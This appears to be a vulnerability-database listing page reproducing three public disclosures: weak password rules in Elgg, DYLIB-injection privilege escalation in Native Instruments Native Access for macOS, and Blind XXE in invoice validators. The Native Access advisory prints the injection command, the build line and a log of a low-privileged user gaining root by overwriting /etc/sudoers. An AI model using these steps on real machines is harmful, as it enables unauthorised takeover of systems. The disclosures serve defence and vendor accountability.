User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)
Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Origin: http://elgg.local
Sec-GPC: 1
Connection: keep-alive
Referer: http://elgg.local/action/usersettings/save
Cookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc
Upgrade-Insecure-Requests: 1
Priority: u=0, i
// HTTP Response - Changing Password - Following Redirect
HTTP/1.1 200 OK
Date: Sat, 24 Jan 2026 14:52:11 GMT
Server: Apache/2.4.52 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private
x-frame-options: SAMEORIGIN
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
x-content-type-options: nosniff
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 27859
[...]
<div class="elgg-message elgg-message-success"><div class="elgg-inner"><div
class="elgg-body">Password changed</div></div></div>
[...]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Weak Password Complexity |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Weak Password Complexity",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Andrey Stoykov"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Exploit Title: Elgg - Lack of Password Complexity\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-48-weak.html\n\n// HTTP Request - Changing Password\n\nPOST /action/usersettings/save HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 216\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/settings/user/admin\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=nIY_M_wh53bUxoHvuKO1YA\u0026__elgg_ts=1769266299\u0026username=admin\u0026name=Admin+User\u0026email_password=\u0026email=\nadmin () example com\n\u0026current_password=[REDACTED]\u0026password=Passw0rd%21\u0026password2=Passw0rd%21\u0026language=en\u0026guid=46\n\n\n// HTTP Response - Changing Password\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:52:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/settings/user/admin\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 394\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003cmeta charset=\"UTF-8\" /\u003e\n \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/settings/user/admin\u0027\"; /\u003e\n\n \u003ctitle\u003eRedirecting to http://elgg.local/settings/user/admin\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n Redirecting to \u003ca href=\"http://elgg.local/settings/user/admin\";\u003e\nhttp://elgg.local/settings/user/admin\u003c/a\u003e.\n \u003c/body\u003e\n\u003c/html\u003e\n\n\n// HTTP Request - Changing Password - Following Redirect\n\nGET /settings/user/admin HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/usersettings/save\nCookie: Elgg=5ivi0vt1g9jqu1sju70hfnm0mc\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n\n\n// HTTP Response - Changing Password - Following Redirect\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:52:11 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 27859\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003ePassword changed\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0189
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
SEC Consult SA-20260202-0 :: Multiple vulnerabilities in Native Instruments Native Access (MacOS)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260202-0 >
=======================================================================
title: Multiple vulnerabilities
product: Native Instruments - Native Access (MacOS)
vulnerable version: verified up to 3.22.0
fixed version: n/a
CVE number: CVE-2026-24070, CVE-2026-24071
impact: high
homepage:https://www.native-instruments.com/en/specials/native-access/
found: 2025-07-22
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Native Instruments is a leading manufacturer of software and hardware
for computer-based audio production and DJing. In June of 2023, iZotope,
Plugin Alliance and Brainworx joined us in our mission to develop innovative,
fully-integrated solutions for every creative task, profession, and skill level."
Source:https://www.native-instruments.com/en/company/
Business recommendation:
------------------------
The vendor was unreachable and did not respond to multiple contact attempts.
No patch is available. Customers should contact the vendor and request a
patch.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)
During the installation of the Native Access application, a privileged helper
`com.native-instruments.NativeAccess.Helper2`, which is used by Native Access
to trigger functions via XPC communication like copy-file, remove or
set-permissions, is deployed as well.
The communication with the XPC service of the privileged helper is only allowed
if the client process is signed with the corresponding certificate and
fulfills the following code signing requirement:
"anchor trusted and certificate leaf[subject.CN] = \"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\""
The Native Access application was found to be signed with the
`com.apple.security.cs.allow-dyld-environment-variables` and
`com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB
injection and therefore command execution in the context of this application.
A low privileged user can exploit the DYLIB injection to trigger functions of
the privileged helper XPC service resulting in privilege escalation by first
deleting the /etc/sudoers file and then copying a malicious version of that file
to /etc/sudoers.
2) XPC Client Validation via PID (CVE-2026-24071)
It was found that the XPC services uses the PID of the connecting client to
verify its code signature. This is considered insecure and can be exploited
by PID reuse attacks.
The connection handler function uses _xpc_connection_get_pid(arg2) as argument
for the hasValidSignature function. This value can not be trusted since it is
vulnerable to PID reuse attacks.
----------------------------------------------------------------------------
10000a60c int64_t ___main_block_invoke(int64_t arg1, xpc_object_t arg2)
10000a630 if (_xpc_get_type(object: arg2) != __xpc_type_connection)
10000a64c return _syslog$DARWIN_EXTSN(5, "Unexpected type")
10000a64c
10000a65c if ((hasValidSignature(_xpc_connection_get_pid(arg2)) & 1) == 0)
10000a66c _syslog$DARWIN_EXTSN(5, "Refused connection from client with bad signature")
10000a674 _xpc_connection_cancel(arg2)
10000a674
10000a684 _xpc_connection_set_event_handler(arg2, &___block_literal_global)
10000a694 return _xpc_connection_activate(arg2) __tailcall
----------------------------------------------------------------------------
3) No Path validation in Delete and Copy file
When triggering file copy or delete call via XPC, the service does not check if it
should be allowed to delete or copy the file. No restrictions are applied for
copying or deleting files. These missing restrictions lead to privilege escalation
due to the possibility to delete and then write to /etc/sudoers or /Library/LaunchDaemons.
This issue is not exploitable on its own without a vulnerability allowing for
connection to the privileged helper. However the other two vulnerabilities
described in this advisory allow exactly that.
Proof of concept:
-----------------
1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)
To check for the dangerous entitlements
`com.apple.security.cs.allow-dyld-environment-variables` and
`com.apple.security.cs.disable-library-validation` the "codesign" utility of
MacOS can be used:
----------------------------------------------------------------------------
lowpriv@Users-Mac exploit % codesign -dvv --entitlements :- /Applications/Native\ Access.app/Contents/MacOS/Native\
Access
Executable=/Applications/Native Access.app/Contents/MacOS/Native Access
Identifier=com.native-instruments.nativeaccess2
[...]
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST
1.0//EN""https://www.apple.com/DTDs/PropertyList-1.0.dtd";><plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<true/>
<key>com.apple.security.cs.allow-jit</key>
<true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
----------------------------------------------------------------------------
The privileged helper located at
/Library/PrivilegedHelperTools/com.native-instruments.NativeAccess.Helper2
was found to check the code signature of the XPC client before running any
action. Due to the DYLIB injection vulnerability in the Native Access executable
it is possible to execute code in the context of the process of Native Access
which has a valid signature for the needed Team ID. The XPC service exposed
multiple functions, e.g. copy-file and remove.
The following code was used to craft a malicious DYLIB, which on load connects
to the privileged helper XPC service and deletes the /etc/sudoers file as such
that it can then copy a malicious version of the sudoers file to /etc/sudoers.
[ PoC exploit code removed ]
On a Mac system with the developer tools installed the PoC library can be compiled
as follows:
----------------------------------------------------------------------------
$ clang -framework Foundation -dynamiclib -o libxpcclient.dylib libxpcclient.m
----------------------------------------------------------------------------
Before running the exploit ensure that the file /tmp/bad_sudoers exists and
is a valid sudoers file! The exploit can then be executed using the DYLIB
injection:
----------------------------------------------------------------------------
$ DYLD_INSERT_LIBRARIES=<path_to_DYLIB> "/Applications/Native Access.app/Contents/MacOS/Native Access"
----------------------------------------------------------------------------
The bad_sudoers file will then be copied to /etc/sudoers.
----------------------------------------------------------------------------
lowpriv@Users-Mac ~ % id
uid=503(lowpriv) gid=20(staff)
groups=20(staff),12(everyone),61(localaccounts),399(com.apple.access_ssh-disabled),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),100(_lpoperator),702(com.apple.sharepoint.group.2)
lowpriv@Users-Mac ~ % sudo id
Password:
lowpriv is not in the sudoers file.
This incident has been reported to the administrator.
lowpriv@Users-Mac ~ % DYLD_INSERT_LIBRARIES=/Users/lowpriv/Desktop/exploit/libxpcclient.dylib "/Applications/Native
Access.app/Contents/MacOS/Native Access"
2025-07-22 05:38:03.334 Native Access[35760:498359] [+] Dylib loaded. Starting XPC communication...
2025-07-22 05:38:03.458 Native Access[35760:498359] Received reply:
2025-07-22 05:38:03.458 Native Access[35760:498359] success: <bool: 0x20a033370>: true
2025-07-22 05:38:03.466 Native Access[35760:498359] Received reply:
2025-07-22 05:38:03.466 Native Access[35760:498359] success: <bool: 0x20a033370>: true
^C
lowpriv@Users-Mac ~ % sudo id
Password:
uid=0(root) gid=0(wheel)
groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)
----------------------------------------------------------------------------
2) XPC Client Codesign via PID (CVE-2026-24071)
To exploit the PID usage for the client validation, a known PID reuse attack
can be used. There are several templates for this attack available.
The following code can be used to exploit this:
[ PoC exploit code removed ]
3) No Path validation in Delete and Copy file
No PoC available.
Vulnerable / tested versions:
-----------------------------
The following versions have been tested on MacOS Sequoia and MacOS Tahoe:
* verified on 3.18.1, 3.19.0, 3.20.1, 3.21.0, 3.21.1 and up to 3.22.0
(potentially all lower versions might be vulnerable too).
Vendor contact timeline:
------------------------
2025-07-23: Contacting vendor throughinfo () native-instruments com; No response
2025-08-07: Contacting vendor again, adding various other emails
found on the website. No response.
2025-09-16: Trying to establish contacts via LinkedIn. No response.
2025-10-13: Registering support account and using "Support Chat" function.
No response except spam newsletters.
2026-02-02: Release of advisory.
Solution:
---------
The vendor was unreachable and did not respond to multiple contact attempts.
No patch is available. Customers should contact the vendor and request a
patch.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://secli
Severity
No CVSS data available.
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260202-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0189 (this record)
- related CVE-2026-24070
- related CVE-2026-24071
{
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260202-0 \u003e\n=======================================================================\n title: Multiple vulnerabilities\n product: Native Instruments - Native Access (MacOS)\n vulnerable version: verified up to 3.22.0\n fixed version: n/a\n CVE number: CVE-2026-24070, CVE-2026-24071\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.native-instruments.com/en/specials/native-access/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2025-07-22\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Native Instruments is a leading manufacturer of software and hardware\nfor computer-based audio production and DJing. In June of 2023, iZotope,\nPlugin Alliance and Brainworx joined us in our mission to develop innovative,\nfully-integrated solutions for every creative task, profession, and skill level.\"\n\nSource:https://www.native-instruments.com/en/company/\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nDuring the installation of the Native Access application, a privileged helper\n`com.native-instruments.NativeAccess.Helper2`, which is used by Native Access\nto trigger functions via XPC communication like copy-file, remove or\nset-permissions, is deployed as well.\n\nThe communication with the XPC service of the privileged helper is only allowed\nif the client process is signed with the corresponding certificate and\nfulfills the following code signing requirement:\n\"anchor trusted and certificate leaf[subject.CN] = \\\"Developer ID Application: Native Instruments GmbH (83K5EG6Z9V)\\\"\"\n\nThe Native Access application was found to be signed with the\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` entitlements leading to DYLIB\ninjection and therefore command execution in the context of this application.\n\nA low privileged user can exploit the DYLIB injection to trigger functions of\nthe privileged helper XPC service resulting in privilege escalation by first\ndeleting the /etc/sudoers file and then copying a malicious version of that file\nto /etc/sudoers.\n\n\n2) XPC Client Validation via PID (CVE-2026-24071)\nIt was found that the XPC services uses the PID of the connecting client to\nverify its code signature. This is considered insecure and can be exploited\nby PID reuse attacks.\n\nThe connection handler function uses _xpc_connection_get_pid(arg2) as argument\nfor the hasValidSignature function. This value can not be trusted since it is\nvulnerable to PID reuse attacks.\n----------------------------------------------------------------------------\n10000a60c int64_t ___main_block_invoke(int64_t arg1, xpc_object_t arg2)\n\n10000a630 if (_xpc_get_type(object: arg2) != __xpc_type_connection)\n10000a64c return _syslog$DARWIN_EXTSN(5, \"Unexpected type\")\n10000a64c\n10000a65c if ((hasValidSignature(_xpc_connection_get_pid(arg2)) \u0026 1) == 0)\n10000a66c _syslog$DARWIN_EXTSN(5, \"Refused connection from client with bad signature\")\n10000a674 _xpc_connection_cancel(arg2)\n10000a674\n10000a684 _xpc_connection_set_event_handler(arg2, \u0026___block_literal_global)\n10000a694 return _xpc_connection_activate(arg2) __tailcall\n----------------------------------------------------------------------------\n\n3) No Path validation in Delete and Copy file\nWhen triggering file copy or delete call via XPC, the service does not check if it\nshould be allowed to delete or copy the file. No restrictions are applied for\ncopying or deleting files. These missing restrictions lead to privilege escalation\ndue to the possibility to delete and then write to /etc/sudoers or /Library/LaunchDaemons.\n\nThis issue is not exploitable on its own without a vulnerability allowing for\nconnection to the privileged helper. However the other two vulnerabilities\ndescribed in this advisory allow exactly that.\n\n\nProof of concept:\n-----------------\n1) Local Privilege Escalation via DYLIB Injection (CVE-2026-24070)\nTo check for the dangerous entitlements\n`com.apple.security.cs.allow-dyld-environment-variables` and\n`com.apple.security.cs.disable-library-validation` the \"codesign\" utility of\nMacOS can be used:\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac exploit % codesign -dvv --entitlements :- /Applications/Native\\ Access.app/Contents/MacOS/Native\\ \nAccess\nExecutable=/Applications/Native Access.app/Contents/MacOS/Native Access\nIdentifier=com.native-instruments.nativeaccess2\n[...]\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST \n1.0//EN\"\"https://www.apple.com/DTDs/PropertyList-1.0.dtd\";\u003e\u003cplist version=\"1.0\"\u003e\n \u003cdict\u003e\n \u003ckey\u003ecom.apple.security.cs.allow-dyld-environment-variables\u003c/key\u003e\n \u003ctrue/\u003e\n \u003ckey\u003ecom.apple.security.cs.allow-jit\u003c/key\u003e\n \u003ctrue/\u003e\n \u003ckey\u003ecom.apple.security.cs.allow-unsigned-executable-memory\u003c/key\u003e\n \u003ctrue/\u003e\n \u003ckey\u003ecom.apple.security.cs.disable-library-validation\u003c/key\u003e\n \u003ctrue/\u003e\n \u003c/dict\u003e\n\u003c/plist\u003e\n----------------------------------------------------------------------------\n\nThe privileged helper located at\n/Library/PrivilegedHelperTools/com.native-instruments.NativeAccess.Helper2\nwas found to check the code signature of the XPC client before running any\naction. Due to the DYLIB injection vulnerability in the Native Access executable\nit is possible to execute code in the context of the process of Native Access\nwhich has a valid signature for the needed Team ID. The XPC service exposed\nmultiple functions, e.g. copy-file and remove.\n\nThe following code was used to craft a malicious DYLIB, which on load connects\nto the privileged helper XPC service and deletes the /etc/sudoers file as such\nthat it can then copy a malicious version of the sudoers file to /etc/sudoers.\n\n[ PoC exploit code removed ]\n\nOn a Mac system with the developer tools installed the PoC library can be compiled\nas follows:\n\n----------------------------------------------------------------------------\n$ clang -framework Foundation -dynamiclib -o libxpcclient.dylib libxpcclient.m\n----------------------------------------------------------------------------\n\nBefore running the exploit ensure that the file /tmp/bad_sudoers exists and\nis a valid sudoers file! The exploit can then be executed using the DYLIB\ninjection:\n\n----------------------------------------------------------------------------\n$ DYLD_INSERT_LIBRARIES=\u003cpath_to_DYLIB\u003e \"/Applications/Native Access.app/Contents/MacOS/Native Access\"\n----------------------------------------------------------------------------\n\nThe bad_sudoers file will then be copied to /etc/sudoers.\n\n----------------------------------------------------------------------------\nlowpriv@Users-Mac ~ % id\nuid=503(lowpriv) gid=20(staff) \ngroups=20(staff),12(everyone),61(localaccounts),399(com.apple.access_ssh-disabled),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),100(_lpoperator),702(com.apple.sharepoint.group.2)\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nlowpriv is not in the sudoers file.\nThis incident has been reported to the administrator.\n\nlowpriv@Users-Mac ~ % DYLD_INSERT_LIBRARIES=/Users/lowpriv/Desktop/exploit/libxpcclient.dylib \"/Applications/Native \nAccess.app/Contents/MacOS/Native Access\"\n2025-07-22 05:38:03.334 Native Access[35760:498359] [+] Dylib loaded. Starting XPC communication...\n2025-07-22 05:38:03.458 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.458 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n2025-07-22 05:38:03.466 Native Access[35760:498359] Received reply:\n2025-07-22 05:38:03.466 Native Access[35760:498359] success: \u003cbool: 0x20a033370\u003e: true\n^C\n\nlowpriv@Users-Mac ~ % sudo id\nPassword:\nuid=0(root) gid=0(wheel) \ngroups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),703(com.apple.sharepoint.group.3),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)\n----------------------------------------------------------------------------\n\n\n2) XPC Client Codesign via PID (CVE-2026-24071)\nTo exploit the PID usage for the client validation, a known PID reuse attack\ncan be used. There are several templates for this attack available.\nThe following code can be used to exploit this:\n\n[ PoC exploit code removed ]\n\n\n3) No Path validation in Delete and Copy file\nNo PoC available.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions have been tested on MacOS Sequoia and MacOS Tahoe:\n* verified on 3.18.1, 3.19.0, 3.20.1, 3.21.0, 3.21.1 and up to 3.22.0\n (potentially all lower versions might be vulnerable too).\n\n\nVendor contact timeline:\n------------------------\n2025-07-23: Contacting vendor throughinfo () native-instruments com; No response\n2025-08-07: Contacting vendor again, adding various other emails\n found on the website. No response.\n2025-09-16: Trying to establish contacts via LinkedIn. No response.\n2025-10-13: Registering support account and using \"Support Chat\" function.\n No response except spam newsletters.\n2026-02-02: Release of advisory.\n\n\nSolution:\n---------\nThe vendor was unreachable and did not respond to multiple contact attempts.\nNo patch is available. Customers should contact the vendor and request a\npatch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://secli"
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GCVE-1988-2026-0186
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Blind XXE in Electronic Invoice online tools (validator.invoice-portal.de, xrechnung.rib.de)
Summary
During tests of electronic invoicing tools, I discovered multiple XXE
and Blind XXE vulnerabilities in online tools parsing electronic
invoices in XML formats.
While most of the affected tools have fixed these vulnerabilities, two
online tools remain vulnerable to Blind XXE attacks, allowing
exfiltration of files. Disclosure to the affected operators happened
more than 90 days ago.
Vulnerable tools:
https://validator.invoice-portal.de/
https://xrechnung.rib.de/ (only the visualization tool)
In both cases, uploading an invoice with a blind XXE payload leads to
HTTP requests to the attacker's server and exfiltrates file content.
Proof of concepts, e.g., to exfiltrate /etc/hostname
(ciibxxehostname.xml), can be found here:
https://github.com/hannob/invoicesec
Timeline validator.invoice-portal.de:
2025-11-17 Informed support contact about Blind XXE vulnerability, no
reply
2026-02-16 Still vulnerable, public disclosure
Timeline xrechnung.rib.de:
2025-10-29 Reported "standard" XXE via contact form, no reply
2025-11-18 Re-test, incomplete fix: "Standard" XXE fixed, Blind XXE
still possible
2025-11-18 Re-reported incomplete fix, no reply
2026-02-16 Still vulnerable, public disclosure
This was part of a larger research effort about the security of EU
electronic invoices:
https://invoice.secvuln.info/
--
Hanno Böck - Independent security researcher
https://itsec.hboeck.de/
https://badkeys.info/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Blind XXE in |
Affected:
unknown
|
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displaying 521 - 530 publications in total 581